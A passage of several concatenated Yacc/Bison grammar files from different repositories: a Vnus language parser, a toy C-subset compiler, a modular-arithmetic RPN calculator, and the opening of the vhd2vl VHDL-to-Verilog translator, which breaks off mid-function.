new_OptExprNone(); } | expression { $$ = new_OptExpr( $1 ); } ; expression: literalExpression { $$ = $1; } | accessExpression { $$ = $1; } | constructorExpression { $$ = $1; } | operatorExpression { $$ = $1; } | shapeInfoExpression { $$ = $1; } | assertExpression { $$ = $1; } | miscellaneousExpression { $$ = $1; } ; literalExpression: BYTE_LITERAL { $$ = new_ExprByte( $1 ); } | SHORT_LITERAL { $$ = new_ExprShort( $1 ); } | INT_LITERAL { $$ = new_ExprInt( $1 ); } | LONG_LITERAL { $$ = new_ExprLong( $1 ); } | FLOAT_LITERAL { $$ = new_ExprFloat( $1 ); } | DOUBLE_LITERAL { $$ = new_ExprDouble( $1 ); } | CHAR_LITERAL { $$ = new_ExprChar( $1 ); } | KEY_FALSE { $$ = new_ExprBoolean( false ); } | KEY_TRUE { $$ = new_ExprBoolean( true ); } | STRING_LITERAL { $$ = new_ExprString( $1 ); } | KEY_NULL { $$ = new_ExprNull(); } | KEY_SIZEOF type { $$ = new_ExprSizeof( $2 ); } ; accessExpression: originIdentifier { $$ = new_ExprName( $1 ); } | '(' expression ',' selectors ')' { $$ = new_ExprSelection( $2, $4 ); } | KEY_FIELD expression originIdentifier { $$ = new_ExprField( $2, $3 ); } | KEY_FIELD expression INT_LITERAL { $$ = new_ExprFieldNumber( $2, $3 ); } | OP_TIMES expression { $$ = new_ExprDeref( $2 ); } | KEY_FUNCTIONCALL routineExpression actualParameters { $$ = new_ExprFunctionCall( $2, $3 ); } ; constructorExpression: KEY_COMPLEX expression expression { $$ = new_ExprComplex( $2, $3 ); } | KEY_ARRAY type '[' expressionList commaOpt ']' { $$ = new_ExprArray( $2, $4 ); } | KEY_SHAPE sizes type '[' expressionList commaOpt ']' { $$ = new_ExprShape( $2, $3, new_ExprArray( rdup_type( $3 ), $5 ), $5->sz ); } | KEY_RECORD '[' expressionList commaOpt ']' { $$ = new_ExprRecord( $3 ); } | OP_ADDRESS location { $$ = new_ExprAddress( $2 ); } | KEY_NEW type { if( is_shape_type( $2 ) ){ parserror( "new is not allowed for shape types" ); } $$ = new_ExprNew( $2 ); } | KEY_FILLEDNEW type expression markerName { if( !is_shape_type( $2 ) ){ parserror( "fillednew is only allowed for shape types" ); } $$ = new_ExprFilledNew( $2, $3, $4 ); } | KEY_NULLEDNEW type markerName { if( !is_shape_type( $2 ) ){ parserror( "nullednew is only allowed for shape types" ); } $$ = new_ExprNulledNew( $2, $3 ); } | KEY_NEWARRAY type expression { $$ = new_ExprNewArray( $2, $3, new_OptExprNone() ); } | KEY_NEWFILLEDARRAY type expression expression { $$ = new_ExprNewArray( $2, $3, new_OptExpr( $4 ) ); } | KEY_NEWRECORD type '[' expressionList commaOpt ']' { if( !is_record_type( $2 ) ){ parserror ( "newrecord is only allowed for record types" ); } $$ = new_ExprNewRecord( $2, $4 ); } ; operatorExpression: KEY_CAST type expression { $$ = new_ExprCast( $2, $3 ); } | KEY_IF expression expression expression { $$ = new_ExprIf( $2, $3, $4 ); } | KEY_WHERE scopename expression { $$ = new_ExprWhere( $2, $3 ); } | '(' unaryOperator ',' expression ')' { $$ = new_ExprUnop( $2, $4 ); } | '(' unaryOperator ',' error ')' { $$ = new_ExprUnop( $2, expressionNIL ); } | '(' error ',' expression ')' { $$ = new_ExprUnop( UNOP_NOT, $4 ); } | '(' expression ',' binaryOperator ',' expression ')' { $$ = new_ExprBinop( $2, $4, $6 ); } | '(' expression ',' binaryOperator ',' error ')' { $$ = new_ExprBinop( $2, $4, expressionNIL ); } | '(' expression ',' error ',' expression ')' { $$ = new_ExprBinop( $2, BINOP_AND, $6 ); } | '(' error ',' binaryOperator ',' expression ')' { $$ = new_ExprBinop( expressionNIL, $4, $6 ); } | KEY_REDUCTION binaryOperator '[' expressionList commaOpt ']' { $$ = new_ExprReduction( $2, $4 ); } ; shapeInfoExpression: KEY_GETSIZE expression expression { $$ = new_ExprGetSize( $2, $3 ); } | KEY_GETLENGTH expression { $$ = new_ExprGetLength( $2 ); } | KEY_GETBUF expression { $$ = new_ExprGetBuf( $2 ); } ; assertExpression: KEY_NOTNULLASSERT expression { $$ = new_ExprNotNullAssert( $2 ); } | /* val upperbound */ KEY_CHECKEDINDEX expression expression { $$ = new_ExprCheckedIndex( $2, $3 ); } ; miscellaneousExpression: KEY_EXPRESSIONPRAGMA pragmas expression { $$ = new_ExprWrapper( $2, OwnerExpr_listNIL, $3 ); } | KEY_ISRAISED expression { $$ = new_ExprIsRaised( $2 ); } ; expressionList: /* empty */ { $$ = new_expression_list(); } | expression { $$ = append_expression_list( new_expression_list(), $1 ); } | expressionList ',' expression { $$ = append_expression_list( $1, $3 ); } | error ',' expression { $$ = append_expression_list( new_expression_list(), $3 ); } ; selectors: '[' selectorList commaOpt ']' { $$ = $2; } | '[' error ']' { $$ = new_expression_list(); } ; selectorList: /* empty */ { $$ = new_expression_list(); } | selector { $$ = append_expression_list( new_expression_list(), $1 ); } | selectorList ',' selector { $$ = append_expression_list( $1, $3 ); } | error ',' selector { $$ = append_expression_list( new_expression_list(), $3 ); } ; selector: expression { $$ = $1; } ; actualParameters: '[' actualParameterList commaOpt ']' { $$ = $2; } | '[' error ']' { $$ = new_expression_list(); } ; actualParameterList: /* empty */ { $$ = new_expression_list(); } | actualParameter { $$ = append_expression_list( new_expression_list(), $1 ); } | actualParameterList ',' actualParameter { $$ = append_expression_list( $1, $3 ); } | error ',' actualParameter { $$ = append_expression_list( new_expression_list(), $3 ); } ; actualParameter: expression { $$ = $1; } ; type: basetype { $$ = $1; } | KEY_ARRAY type { $$ = new_TypeUnsizedArray( $2 ); } | KEY_ARRAY INT_LITERAL type { $$ = new_TypeArray( $2, $3 ); } | KEY_SHAPE sizes type { $$ = new_TypeShape( $2, $3 ); } | KEY_RECORD '[' fieldList commaOpt ']' { $$ = new_TypeRecord( $3 ); } | KEY_RECORD originIdentifier { $$ = new_TypeNamedRecord( $2 ); } | KEY_POINTER type { $$ = new_TypePointer( $2 ); } | KEY_PROCEDURE '[' typeList commaOpt ']' { $$ = new_TypeProcedure( $3 ); } | KEY_FUNCTION '[' typeList commaOpt ']' type { $$ = new_TypeFunction( $3, $6 ); } | KEY_PRAGMA pragmas type { $$ = new_TypePragmas( $2, $3 ); } ; typeList: /* empty */ { $$ = new_type_list(); } | type { $$ = append_type_list( new_type_list(), $1 ); } | typeList ',' type { $$ = append_type_list( $$, $3 ); } | error ',' type { $$ = append_type_list( new_type_list(), $3 ); } ; fieldList: /* empty */ { $$ = new_field_list(); } | field { $$ = append_field_list( new_field_list(), $1 ); } | fieldList ',' field { $$ = append_field_list( $$, $3 ); } | error ',' field { $$ = append_field_list( new_field_list(), $3 ); } ; basetype: KEY_STRING { $$ = new_TypeBase( BT_STRING ); } | KEY_BOOLEAN { $$ = new_TypeBase( BT_BOOLEAN ); } | KEY_BYTE { $$ = new_TypeBase( BT_BYTE ); } | KEY_SHORT { $$ = new_TypeBase( BT_SHORT ); } | KEY_INT { $$ = new_TypeBase( BT_INT ); } | KEY_LONG { $$ = new_TypeBase( BT_LONG ); } | KEY_FLOAT { $$ = new_TypeBase( BT_FLOAT ); } | KEY_DOUBLE { $$ = new_TypeBase( BT_DOUBLE ); } | KEY_CHAR { $$ = new_TypeBase( BT_CHAR ); } | KEY_COMPLEX { $$ = new_TypeBase( BT_COMPLEX ); } | IDENTIFIER { parserror( "type expected, not an identifier" ); $$ = new_TypeBase( BT_INT ); } ; field: originIdentifier ':' type { $$ = new_field( $1, $3 ); } ; sizes: '[' sizeList commaOpt ']' { $$ = $2; } | '[' error ']' { $$ = new_size_list(); } ; sizeList: /* empty */ { $$ = new_size_list(); } | size { $$ = append_size_list( new_size_list(), $1 ); } | sizeList ',' size { $$ = append_size_list( $$, $3 ); } | error ',' size { $$ = append_size_list( new_size_list(), $3 ); } ; size: origin KEY_DONTCARE { $$ = new_SizeDontcare( $1 ); } | expression { $$ = new_SizeExpression( $1 ); } ; /* Miscellaneous */ origin: /* empty */ { $$ = make_origin(); } ; scopename: identifier { $$ = $1; } ; label_opt: /* empty */ { $$ = origsymbolNIL; } | labelName ':' { $$ = $1; } ; labelName: originIdentifier { $$ = $1; } ; pragmas_opt: /* empty */ { $$ = new_Pragma_list(); } | KEY_PRAGMA pragmas { $$ = $2; } ; pragma_open_bracket: '[' { enter_pragma_state(); } ; pragma_close_bracket: ']' { leave_pragma_state(); } ; pragmas: pragma_open_bracket pragmaList commaOpt pragma_close_bracket { $$ = $2; } | error pragma_close_bracket { $$ = new_Pragma_list(); } ; pragmaList: /* empty */ { $$ = new_Pragma_list(); } | pragma { $$ = append_Pragma_list( new_Pragma_list(), $1 ); } | pragmaList ',' pragma { $$ = append_Pragma_list( $1, $3 ); } ; pragma: originIdentifier { $$ = new_FlagPragma( $1 ); } | originIdentifier OP_EQUAL PragmaExpression { $$ = new_ValuePragma( $1, $3 ); } ; PragmaExpression: LiteralPragmaExpression { $$ = $1; } | NamePragmaExpression { $$ = $1; } | ListPragmaExpression { $$ = $1; } ; LiteralPragmaExpression: INT_LITERAL { $$ = new_NumberPragmaExpression( (vnus_double) $1 ); } | FLOAT_LITERAL { $$ = new_NumberPragmaExpression( $1 ); } | DOUBLE_LITERAL { $$ = new_NumberPragmaExpression( $1 ); } | STRING_LITERAL { $$ = new_StringPragmaExpression( $1 ); } | KEY_TRUE { $$ = new_BooleanPragmaExpression( true ); } | KEY_FALSE { $$ = new_BooleanPragmaExpression( false ); } ; NamePragmaExpression: originIdentifier { $$ = new_NamePragmaExpression( $1 ); } | '@' originIdentifier { $$ = new_ExternalNamePragmaExpression( $2 ); } ; ListPragmaExpression: '(' PragmaExpressions ')' { $$ = new_ListPragmaExpression( $2 ); } ; PragmaExpressions: /* empty */ { $$ = new_PragmaExpression_list(); } | PragmaExpressions PragmaExpression { $$ = append_PragmaExpression_list( $1, $2 ); } ; /* Tokens */ unaryOperator: KEY_NOT { $$ = UNOP_NOT; } | OP_PLUS { $$ = UNOP_PLUS; } | OP_NEGATE { $$ = UNOP_NEGATE; } ; binaryOperator: KEY_AND { $$ = BINOP_AND; } | KEY_SHORTAND { $$ = BINOP_SHORTAND; } | KEY_OR { $$ = BINOP_OR; } | KEY_SHORTOR { $$ = BINOP_SHORTOR; } | KEY_XOR { $$ = BINOP_XOR; } | KEY_MOD { $$ = BINOP_MOD; } | OP_PLUS { $$ = BINOP_PLUS; } | OP_MINUS { $$ = BINOP_MINUS; } | OP_TIMES { $$ = BINOP_TIMES; } | OP_DIVIDE { $$ = BINOP_DIVIDE; } | OP_EQUAL { $$ = BINOP_EQUAL; } | OP_NOTEQUAL { $$ = BINOP_NOTEQUAL; } | OP_LESS { $$ = BINOP_LESS; } | OP_LESSEQUAL { $$ = BINOP_LESSEQUAL; } | OP_GREATER { $$ = BINOP_GREATER; } | OP_GREATEREQUAL { $$ = BINOP_GREATEREQUAL; } | OP_SHIFTLEFT { $$ = BINOP_SHIFTLEFT; } | OP_SHIFTRIGHT { $$ = BINOP_SHIFTRIGHT; } | OP_USHIFTRIGHT { $$ = BINOP_USHIFTRIGHT; } ; markerName: originIdentifier { $$ = $1; } | KEY_NULL { $$ = origsymbolNIL; } ; originIdentifier: origin identifier { $$ = new_origsymbol( $2, $1 ); } ; identifier: IDENTIFIER { $$ = $1; } ; %% /* A simple wrapper function to give a nicer interface to the parser. * Given the file handle of the input file 'infile', the name of the * input file 'infilename', and the file handle of the output file * 'outfile', parse that input file, and write the generated code * to the output. */ vnusprog parse( FILE *infile, tmstring infilename ) { setlexfile( infile, infilename ); if( yyparse() != 0 ){ error( "cannot recover from earlier parse errors, goodbye" ); } return result; }
<reponame>Hato6502/mycom<gh_stars>0 %{ #include <stdio.h> #include <ctype.h> #include <string.h> typedef struct{ char name[32]; int addr; } Var; Var vars[256]; int vars_i = 0; #define VAR_ORG 192 int label_i = 0; Var *search_var(const char *name){ int i; for(i = 0; i < vars_i; i++){ if (strcmp(vars[i].name, name) == 0) return &vars[i]; } return NULL; } %} %union { int ival; char sval[1024]; } %token auto_s register_s static_s extern_s typedef_s %token void_t char_t short_t int_t long_t float_t double_t signed_t unsigned_t struct_t union_t %token const_q volatile_q %token if_s else_s switch_s while_s do_s for_s goto_s continue_s break_s return_s %token cbopen cbclose comma colon sbopen sbclose bopen bclose etc semicolon %token condition_o boolor_o booland_o or_o xor_o and_o eq_o neq_o lt_o gt_o lte_o gte_o lshift_o rshift_o %token plus_o minus_o ast div_o mod_o inc_o dec_o sizeof_o ref_o rref_o %token write_o mulw_o divw_o modw_o addw_o subw_o lshiftw_o rshiftw_o andw_o xorw_o orw_o compw_o invw_o %token <sval> identifier %token <ival> integer %% c : | external-declarations; external-declarations : external-declaration | external-declaration external-declarations ; external-declaration : function-definition; function-definition : declarator compound-statement | declaration-specifiers declarator compound-statement | declarator declarations compound-statement | declaration-specifiers declarator declarations compound-statement ; declaration-specifiers : declaration-specifier | declaration-specifier declaration-specifiers ; declaration-specifier : storage-class-specifier | type-specifier | type-qualifier ; storage-class-specifier : static_s ; type-specifier : void_t | int_t ; type-qualifier : const_q | volatile_q ; declarator : direct-declarator ; direct-declarator : identifier | bopen declarator bclose | direct-declarator bopen bclose ; declarations : declaration | declaration declarations ; declaration : declaration-specifiers semicolon | declaration-specifiers init-declarators semicolon ; init-declarators : init-declarator | init-declarator init-declarators ; init-declarator : declarator; /*parameter-type-list : parameter-list | parameter-list comma etc ;*/ /*parameter-list : parameter-declaration | parameter-list comma parameter-declaration ;*/ /*parameter-declaration : declaration-specifiers declarator | declaration-specifiers ;*/ compound-statement : cbopen declarations statements cbclose | cbopen declarations cbclose | cbopen statements cbclose | cbopen cbclose ; statements : statement | statement statements ; statement : compound-statement | expression-statement ; expression-statement : expression semicolon | semicolon ; expression : assignment-expression; assignment-expression : conditional-expression | unary-expression assignment-operator assignment-expression ; conditional-expression : logical-or-expression ; logical-or-expression : logical-and-expression ; logical-and-expression : inclusive-or-expression ; inclusive-or-expression : exclusive-or-expression ; exclusive-or-expression : and-expression ; and-expression : equality-expression ; equality-expression : relational-expression ; relational-expression : shift-expression ; shift-expression : additive-expression ; additive-expression : multiplicative-expression ; multiplicative-expression : cast-expression ; cast-expression : unary-expression ; unary-expression : postfix-expression ; postfix-expression : primary-expression ; primary-expression : identifier | constant ; constant : integer ; assignment-operator : write_o ; %% int main(void) { yyparse(); }
<reponame>jerry-sky/academic-notebook %{ #define YYSTYPE int #include<stdio.h> #include<math.h> #include<string.h> #include <stdlib.h> #define Z 1234577 #define expression_max_length 4096 int yylex(); int yyerror(char*); char RPN_acc[expression_max_length]; void empty_RPN_acc() { RPN_acc[0] = '\0'; } int flatten(int x) { return ((x % Z) + Z) % Z; } int add(int x, int y) { return flatten(flatten(x) + flatten(y)); } int subtract(int x, int y) { return flatten(flatten(x) - flatten(y)); } int multiply(int x, int y) { int output = flatten(x); for(int i = 1; i < y; i++) { output += x; output = flatten(output); } return output; } int inverse(int a) { int m = Z; int x = 1; int y = 0; while( a > 1) { int quotient = a / m; int t = m; m = a % m; a = t; t = y; y = x - quotient * y; x = t; } if(x < 0) x += Z; return x; } int divide(int x, int y) { if(y == 0) { yyerror("division by zero"); return -1; } else { int inv = inverse(y); return flatten(multiply(x, inv)); } } int mod(int x, int y) { if(y == 0) { yyerror("mod by zero"); return -1; } else { return flatten(flatten(x) % flatten(y)); } } int power(int x, int y) { int output = 1; for (int i = 0; i < y; i++) { output *= x; output = flatten(output); } return output; } %} %token NUM %token ADD %token SUB %token MUL %token DIV %token MOD %token POW %token LPR %token RPR %token TRM %token ERR %token COM %token COT %left ADD SUB %left MUL DIV MOD %right POW %precedence NEG %% INPT: %empty | INPT STAR TRM ; STAR: EXPR {printf("\n%s\nans = %d\n", RPN_acc, $1);empty_RPN_acc();} | EXPR error | error | COM ; NUMR: NUM {$$ = $1; sprintf(RPN_acc + strlen(RPN_acc), "%d ", $$);} | SUB NUM %prec NEG {$$ = subtract(0, $2); sprintf(RPN_acc + strlen(RPN_acc), "%d ", $$);} ; EXPR: EXPR ADD EXPR {sprintf(RPN_acc + strlen(RPN_acc), "+ "); $$ = add($1, $3);} | EXPR SUB EXPR {sprintf(RPN_acc + strlen(RPN_acc), "- "); $$ = subtract($1, $3);} | EXPR MUL EXPR {sprintf(RPN_acc + strlen(RPN_acc), "* "); $$ = multiply($1, $3);} | EXPR DIV EXPR {sprintf(RPN_acc + strlen(RPN_acc), "/ "); $$ = divide($1, $3); if($$ == -1) YYERROR;} | EXPR MOD EXPR {sprintf(RPN_acc + strlen(RPN_acc), "%% "); $$ = mod($1, $3); if($$ == -1) YYERROR;} | NUMR POW NUMR {sprintf(RPN_acc + strlen(RPN_acc), "^ "); $$ = power($1, $3);} | LPR EXPR RPR {$$ = $2;} | NUMR ; %% int yyerror(char *s) { printf("Fatal error: %s\n",s); empty_RPN_acc(); } int main() { yyparse(); return 0; }
/* vhd2vl v2.4 VHDL to Verilog RTL translator Copyright (C) 2001 <NAME> - Ocean Logic Pty Ltd - http://www.ocean-logic.com Modifications (C) 2006 <NAME> - PMC Sierra Inc Modifications (C) 2010 <NAME> Modifications (C) 2002, 2005, 2008-2010 <NAME> - LBNL This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ %{ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <assert.h> #include "def.h" int yylex(void); void yyerror(const char *s); int vlog_ver=0; /* default is -g1995 */ /* You will of course want to tinker with this if you use a debugging * malloc(), otherwise all the line numbers will point here. */ void *xmalloc(size_t size) { void *p = malloc(size); if (!p) { perror("malloc"); exit(2); } return p; } int skipRem = 0; int lineno=1; sglist *io_list=NULL; sglist *sig_list=NULL; sglist *type_list=NULL; blknamelist *blkname_list=NULL; /* need a stack of clock-edges because all edges are processed before all processes are processed. * Edges are processed in source file order, processes are processed in reverse source file order. * The original scheme of just one clkedge variable makes all clocked processes have the edge sensitivity * of the last clocked process in the file. */ int clkedges[MAXEDGES]; int clkptr = 0; int delay=1; int dolist=1; int np=1; char wire[]="wire"; char reg[]="reg"; int dowith=0; slist *slwith; /* Indentation variables */ int indent=0; slist *indents[MAXINDENT]; struct vrange *new_vrange(enum vrangeType t) { struct vrange *v=xmalloc(sizeof(vrange)); v->vtype=t; v->nlo = NULL; v->nhi = NULL; v->size_expr = NULL; v->sizeval = 0; v->xlo = NULL; v->xhi = NULL; return v; } void fslprint(FILE *fp,slist *sl){ if(sl){ assert(sl != sl->slst); fslprint(fp,sl->slst); switch(sl->type){ case 0 : assert(sl != sl->data.sl); fslprint(fp,sl->data.sl); break; case 1 : case 4 : fprintf(fp,"%s",sl->data.txt); break; case 2 : fprintf(fp,"%d",sl->data.val); break; case 3 : fprintf(fp,"%s",*(sl->data.ptxt)); break; } } } void slprint(slist *sl){ fslprint(stdout, sl); } slist *copysl(slist *sl){ if(sl){ slist *newsl; newsl = xmalloc(sizeof(slist)); *newsl = *sl; if (sl->slst != NULL) { assert(sl != sl->slst); newsl->slst = copysl(sl->slst); } switch(sl->type){ case 0 : if (sl->data.sl != NULL) { assert(sl != sl->data.sl); newsl->data.sl = copysl(sl->data.sl); } break; case 1 : case 4 : newsl->data.txt = xmalloc(strlen(sl->data.txt) + 1); strcpy(newsl->data.txt, sl->data.txt); break; } return newsl; } return NULL; } slist *addtxt(slist *sl, const char *s){ slist *p; if(s == NULL) return sl; p = xmalloc(sizeof *p); p->type = 1; p->slst = sl; p->data.txt = xmalloc(strlen(s) + 1); strcpy(p->data.txt, s); return p; } slist *addothers(slist *sl, char *s){ slist *p; if(s == NULL) return sl; p = xmalloc(sizeof *p); p->type = 4; p->slst = sl; p->data.txt = xmalloc(strlen(s) + 1); strcpy(p->data.txt, s); return p; } slist *addptxt(slist *sl, char **s){ slist *p; if(s == NULL) return sl; p = xmalloc(sizeof *p); p->type = 3; p->slst = sl; p->data.ptxt = s; return p; } slist *addval(slist *sl, int val){ slist *p; p = xmalloc(sizeof(slist)); p->type = 2; p->slst = sl; p->data.val = val; return p; } slist *addsl(slist *sl, slist *sl2){ slist *p; if(sl2 == NULL) return sl; p = xmalloc(sizeof(slist)); p->type = 0; p->slst = sl; p->data.sl = sl2; return p; } slist *addvec(slist *sl, char *s){ sl=addval(sl,strlen(s)); sl=addtxt(sl,"'b "); sl=addtxt(sl,s); return sl; } slist *addvec_base(slist *sl, char *b, char *s){ const char *base_str="'b "; int base_mult=1; if (strcasecmp(b,"X") == 0) { base_str="'h "; base_mult=4; } else if (strcasecmp(b,"O") == 0) { base_str="'o "; base_mult=3; } else { fprintf(stderr,"Warning on line %d: NAME STRING rule matched but " "NAME='%s' is not X or O.\n",lineno, b); } sl=addval(sl,strlen(s)*base_mult); sl=addtxt(sl,base_str); sl=addtxt(sl,s); return sl; } slist *addind(slist *sl){ if(sl) sl=addsl(indents[indent],sl); return sl; } slist *addpar(slist *sl, vrange *v){ if(v->nlo != NULL) { /* indexes are simple expressions */ sl=addtxt(sl," ["); if(v->nhi != NULL){ sl=addsl(sl,v->nhi); sl=addtxt(sl,":"); } sl=addsl(sl,v->nlo); sl=addtxt(sl,"] "); } else { sl=addtxt(sl," "); } return sl; } slist *addpar_snug(slist *sl, vrange *v){ if(v->nlo != NULL) { /* indexes are simple expressions */ sl=addtxt(sl,"["); if(v->nhi != NULL){ sl=addsl(sl,v->nhi); sl=addtxt(sl,":"); } sl=addsl(sl,v->nlo); sl=addtxt(sl,"]"); } return sl; } /* This function handles array of vectors in signal lists */ slist *addpar_snug2(slist *sl, vrange *v, vrange *v1){ if(v->nlo != NULL) { /* indexes are simple expressions */ sl=addtxt(sl,"["); if(v->nhi != NULL){ sl=addsl(sl,v->nhi); sl=addtxt(sl,":"); } sl=addsl(sl,v->nlo); sl=addtxt(sl,"]"); } if(v1->nlo != NULL) { /* indexes are simple expressions */ sl=addtxt(sl,"["); if(v1->nhi != NULL){ sl=addsl(sl,v1->nhi); sl=addtxt(sl,":"); } sl=addsl(sl,v1->nlo); sl=addtxt(sl,"]"); } return sl; } slist *addpost(slist *sl, vrange *v){ if(v->xlo != NULL) { sl=addtxt(sl,"["); if(v->xhi != NULL){ sl=addsl(sl,v->xhi); sl=addtxt(sl,":"); } sl=addsl(sl,v->xlo); sl=addtxt(sl,"]"); } return sl; } slist *addwrap(const char *l,slist *sl,const char *r){ slist *s; s=addtxt(NULL,l); s=addsl(s,sl); return addtxt(s,r); } expdata *addnest(struct expdata *inner) { expdata *e; e=xmalloc(sizeof(expdata)); if (inner->op == 'c') { e->sl=addwrap("{",inner->sl,"}"); } else { e->sl=addwrap("(",inner->sl,")"); } return e; } slist *addrem(slist *sl, slist *rem) { if (rem) { sl=addtxt(sl, " "); sl=addsl(sl, rem); } else { sl=addtxt(sl, "\n"); } return sl; } sglist *lookup(sglist *sg,char *s){ for(;;){ if(sg == NULL || strcmp(sg->name,s)==0) return sg; sg=sg->next; } } char *sbottom(slist *sl){ while(sl->slst != NULL) sl=sl->slst; return sl->data.txt; } const char *inout_string(int type) { const char *name=NULL; switch(type) { case 0: name="input" ; break; case 1: name="output" ; break; case 2: name="inout" ; break; default: break; } return name; } int prec(int op){ switch(op){ case 'o': /* others */ return 9; break; case 't':case 'n': return 8; break; case '~': return 7; break; case 'p': case 'm': return 6; break; case '*': case '/': case '%': return 5; break; case '+': case '-': return 4; break; case '&': return 3; break; case '^': return 2; break; case '|': return 1; break; default: return 0; break; } } expdata *addexpr(expdata *expr1,int op,const char* opstr,expdata *expr2){ slist *sl1,*sl2; if(expr1 == NULL) sl1=NULL; else if(expr1->op == 'c') sl1=addwrap("{",expr1->sl,"}"); else if(prec(expr1->op) < prec(op)) sl1=addwrap("(",expr1->sl,")"); else sl1=expr1->sl; if(expr2->op == 'c') sl2=addwrap("{",expr2->sl,"}"); else if(prec(expr2->op) < prec(op)) sl2=addwrap("(",expr2->sl,")"); else sl2=expr2->sl; if(expr1 == NULL) expr1=expr2; else free(expr2); expr1->op=op; sl1=addtxt(sl1,opstr); sl1=addsl(sl1,sl2); expr1->sl=sl1; return expr1; } void slTxtReplace(slist *sl, const char *match, const char *replace){ if(sl){ slTxtReplace(sl->slst, match, replace); switch(sl->type) { case 0 : slTxtReplace(sl->data.sl, match, replace); break; case 1 : if (strcmp(sl->data.txt, match) == 0) { sl->data.txt = strdup(replace); } break; case 3 : if (strcmp(*(sl->data.ptxt), match) == 0) { *(sl->data.ptxt) = strdup(replace); } break; } } } /* XXX todo: runtime engage clkedge debug */ void push_clkedge(int val, const char *comment) { if (0) fprintf(stderr,"clock event push: line=%d clkptr=%d, value=%d (%s)\n",lineno,clkptr,val,comment); clkedges[clkptr++]=val; assert(clkptr < MAXEDGES); } int pull_clkedge(slist *sensitivities) { int clkedge; assert(clkptr>0); clkedge = clkedges[--clkptr]; if (0) { fprintf(stderr,"clock event pull: value=%d, sensistivity list = ", clkedge); fslprint(stderr,sensitivities); fprintf(stderr,"\n"); } return clkedge; } /* XXX maybe it's a bug that some uses don't munge clocks? */ slist *add_always(slist *sl, slist *sensitivities, slist *decls, int munge) { int clkedge; sl=addsl(sl,indents[indent]); sl=addtxt(sl,"always @("); if (munge) { clkedge = pull_clkedge(sensitivities); if(clkedge) { sl=addtxt(sl,"posedge "); /* traverse $4->sl replacing " or " with " or posedge " if there is a clockedge */ slTxtReplace(sensitivities," or ", " or posedge "); } else { sl=addtxt(sl,"negedge "); slTxtReplace(sensitivities," or ", " or negedge "); } } sl=addsl(sl,sensitivities); sl=addtxt(sl,") begin"); if(decls){ sl=addtxt(sl," : P"); sl=addval(sl,np++); sl=addtxt(sl,"\n"); sl=addsl(sl,decls); } sl=addtxt(sl,"\n"); return sl; } void fixothers(slist *size_expr, slist *sl) { if(sl) { fixothers(size_expr, sl->slst); switch(sl->type) { case 0 : fixothers(size_expr,sl->data.sl); break; case 4 : { /* found an (OTHERS => 'x') clause - change to type 0, and insert the * size_expr for the corresponding signal */ slist *p; slist *size_copy = xmalloc(sizeof(slist)); size_copy = copysl(size_expr); if (0) { fprintf(stderr,"fixothers type 4 size_expr "); fslprint(stderr,size_expr); fprintf(stderr,"\n"); } p = addtxt(NULL, "1'b"); p = addtxt(p, sl->data.txt); p = addwrap("{",p,"}"); p = addsl(size_copy, p); p = addwrap("{",p,"}"); sl->type=0; sl->slst=p; sl->data.sl=NULL; break; } /* case 4 */ } /* switch */ } } void findothers(slval *sgin,slist *sl){ sglist *sg = NULL; int size = -1; int useExpr=0; if (0) { fprintf(stderr,"findothers lhs "); fslprint(stderr,sgin->sl); fprintf(stderr,", sgin->val %d\n", sgin->val); } if(sgin->val>0) { size=sgin->val; } else if (sgin->range != NULL) { if (sgin->range->vtype != tVRANGE) { size=1; } else if (sgin->range->sizeval > 0) { size=sgin->range->sizeval; } else if (sgin->range->size_expr != NULL) { useExpr = 1; fixothers(sgin->range->size_expr, sl); } } else { if((sg=lookup(io_list,sgin->sl->data.txt))==NULL) { sg=lookup(sig_list,sgin->sl->data.txt); } if(sg) { if(sg->range->vtype != tVRANGE) { size=1; } else { if (sg->range->sizeval > 0) { size = sg->range->sizeval; } else { assert (sg->range->size_expr != NULL); useExpr = 1; fixothers(sg->range->size_expr, sl); } } } else { /* lookup failed, there was no vrange or size value in sgin - so just punt, and assign size=1 */ size=1; } /* if(sg) */ } if (!useExpr) { slist *p; assert(size>0); /* use size */ p = addval(NULL,size); fixothers(p,sl); } } /* code to find bit number of the msb of n */ int find_msb(int n) { int k=0; if(n&0xff00){ k|=8; n&=0xff00; } if(n&0xf0f0){ k|=4; n&=0xf0f0; } if(n&0xcccc){ k|=2; n&=0xcccc; } if(n&0xaaaa){ k|=1; n&=0xaaaa; } return k; } static char time_unit[2]="\0\0", new_unit[2]="\0\0"; static void set_timescale(const char *s) { if (0) fprintf(stderr,"set_timescale (%s)\n", s); new_unit[0] = time_unit[0]; if (strcasecmp(s,"ms") == 0) { new_unit[0] = 'm'; } else if (strcasecmp(s,"us") == 0) { new_unit[0] = 'u'; } else if (strcasecmp(s,"ns") == 0) { new_unit[0] = 'n'; } else if (strcasecmp(s,"ps") == 0) { new_unit[0] = 'p'; } else { fprintf(stderr,"Warning on line %d: AFTER NATURAL NAME pattern" " matched, but NAME='%s' should be a time unit.\n",lineno,s); } if (new_unit[0] != time_unit[0]) { if (time_unit[0] != 0) { fprintf(stderr,"Warning on line %d: inconsistent time unit (%s) ignored\n", lineno, s); } else { time_unit[0] = new_unit[0]; } } } slist *output_timescale(slist *sl) { if (time_unit[0] != 0) { sl = addtxt(sl, "`timescale 1 "); sl = addtxt(sl, time_unit); sl = addtxt(sl, "s / 1 "); sl = addtxt(sl, time_unit); sl = addtxt(sl, "s\n"); } else { sl = addtxt(sl, "// no timescale needed\n"); } return sl; } slist *setup_port(sglist *s_list, int dir, vrange *type) { slist *sl; sglist *p; if (vlog_ver == 1) { sl=addtxt(NULL,NULL); } else { sl=addtxt(NULL,inout_string(dir)); sl=addpar(sl,type); } p=s_list; for(;;){ p->type=wire; if (vlog_ver == 1) p->dir=inout_string(dir); p->range=type; if (vlog_ver == 0) sl=addtxt(sl, p->name); if(p->next==NULL) break; p=p->next; if (vlog_ver == 0) sl=addtxt(sl,", "); } if (vlog_ver == 0) sl=addtxt(sl,";\n"); p->next=io_list; io_list=s_list; return sl; } slist *emit_io_list(slist *sl) { sglist *p; sl=addtxt(sl,"(\n"); 